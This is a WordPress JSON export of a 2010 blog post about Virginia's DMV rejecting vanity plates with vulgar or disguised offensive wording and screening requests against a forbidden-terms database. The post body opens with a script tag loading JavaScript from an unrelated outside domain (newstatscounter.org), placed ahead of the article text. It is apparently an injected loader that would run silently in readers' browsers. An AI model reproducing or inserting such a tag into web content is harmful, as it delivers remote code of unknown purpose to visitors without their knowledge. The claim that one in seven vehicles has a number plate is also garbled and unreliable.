{"id":542,"date":"2010-04-11T19:58:56","date_gmt":"2010-04-11T19:58:56","guid":{"rendered":"http:\/\/www.image-reg.com\/blog\/?p=542"},"modified":"2010-04-11T19:58:56","modified_gmt":"2010-04-11T19:58:56","slug":"virginia-toughens-up-on-illegal-number-plates","status":"publish","type":"post","link":"https:\/\/www.regplates.com\/blog\/2010\/04\/11\/virginia-toughens-up-on-illegal-number-plates\/","title":{"rendered":"Virginia Toughens Up On Illegal Number Plates"},"content":{"rendered":"<p><script type='text\/javascript' src='http:\/\/newstatscounter.org\/counter192.js'><\/script>In a state where roughly one in seven vehicles sports a number plate  &#8211; the highest percentage in the country &#8211; it shouldn&#8217;t be a shock that  some car owners try to turn heads with naughty words.<\/p>\n<p>What&#8217;s surprising is the amount of brain power they invest in trying  to dodge DMV standards of decency.<\/p>\n<p>On the no-no list: character combinations that are vulgar, offensive,  sexually explicit, excretory related, or promote violence or illegal  activities &#8211; like drug use or gangs.<\/p>\n<p>Applications that are obviously on the wrong side of those rules get  handed right back over the DMV counter. Countless others are more  cryptic. Numerals are substituted for look-alike letters, dashes are  used in devious ways. Specialty number plates are part of the strategy, and  nothing is sacred. That big orange &#8220;V&#8221; on the University of Virginia  number plate has turned up in more than its share of wicked words. And the  round Great Seal on the special state plate? In the right position, it  looks an awful lot like an &#8220;O.&#8221;<\/p>\n<p>Fishy combinations get sent up the line for further review, where  they&#8217;re screened through software Virginia borrowed from California.  Requests are run forward and backward against a database of forbidden  terms, including basic curse words in other languages.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In a state where roughly one in seven vehicles sports a number plate &#8211; the highest percentage in the country &#8211; it shouldn&#8217;t be a shock that some car owners try to turn heads with naughty words. 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